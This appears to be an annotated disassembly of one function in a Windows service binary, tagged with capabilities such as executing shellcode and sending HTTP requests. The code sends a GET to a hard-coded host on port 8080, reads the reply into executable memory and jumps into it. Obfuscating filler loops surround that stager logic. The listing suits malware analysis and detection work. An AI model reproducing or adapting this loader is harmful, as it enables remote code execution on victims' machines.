Function at 0x401b14
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10f78
call fcn.00402e20
sub esp, eax
mov dword [0x40d058], 0
mov dword [0x40d04c], 0
mov dword [0x40d044], 2
mov dword [0x40d040], 0x30
mov dword [0x40d050], 0
mov dword [0x40d048], 5
mov dword [0x40d054], 0
mov dword [esp + 4], sym._ControlHandler
mov dword [esp], str.HmnRKKibpsxwEf
mov eax, dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
call eax
sub esp, 8
mov dword [0x40d03c], eax
mov eax, dword [0x40d03c]
test eax, eax
je 0x401df2
mov dword [0x40d044], 4
mov eax, dword [0x40d03c]
mov dword [esp + 4], 0x40d040
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
call eax
sub esp, 8
jmp 0x401de2
mov dword [ebp - 0xc], 0
jmp 0x401be2
mov dword [esp], 0x19f8
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x10e94], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xa00
jle 0x401bc6
call sym._RrkMVaXgYNvjZJN
call sym._WSXOHvpyO
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401c1d
mov dword [esp], 0x78a
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xe690], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x12f2
jle 0x401c01
call sym._PDLBEcD
mov dword [esp + 8], eax
mov dword [esp + 4], str.GET___s_HTTP_1.1_r_nAccept_Encoding:_identity_r_nHost:_192.168.37.129:8080_r_nConnection:_close_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.1__Windows_NT_r_n_r_n
lea eax, [ebp - 0x10f5c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x10f5c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x10f5c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov dword [esp], 0x12c
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0xf4240
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0
jmp 0x401cde
call sym._eMjKNOsny
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x10e94]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xa00
jle 0x401cbf
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x10], eax
cmp dword [ebp - 0x1c], 0
jg 0x401ced
mov dword [ebp - 0xc], 0
jmp 0x401d48
mov dword [esp], 0x7b5
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x9ac4], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x26a9
jle 0x401d2c
mov dword [ebp - 0xc], 0
jmp 0x401d79
call sym._ztrSCzRumfBT
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xe690]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x12f2
jle 0x401d5a
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WSOCK32.DLL_WSACleanup]
call eax
mov dword [esp + 4], str._r_n_r_n
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._strstr
add eax, 4
call eax
mov dword [ebp - 0xc], 0
jmp 0x401dd9
call sym._xcZmeyZnjFZji
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x9ac4]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x26a9
jle 0x401dba
mov eax, dword [0x40d044]
cmp eax, 4
je 0x401bbd
jmp 0x401df3
nop
leave
ret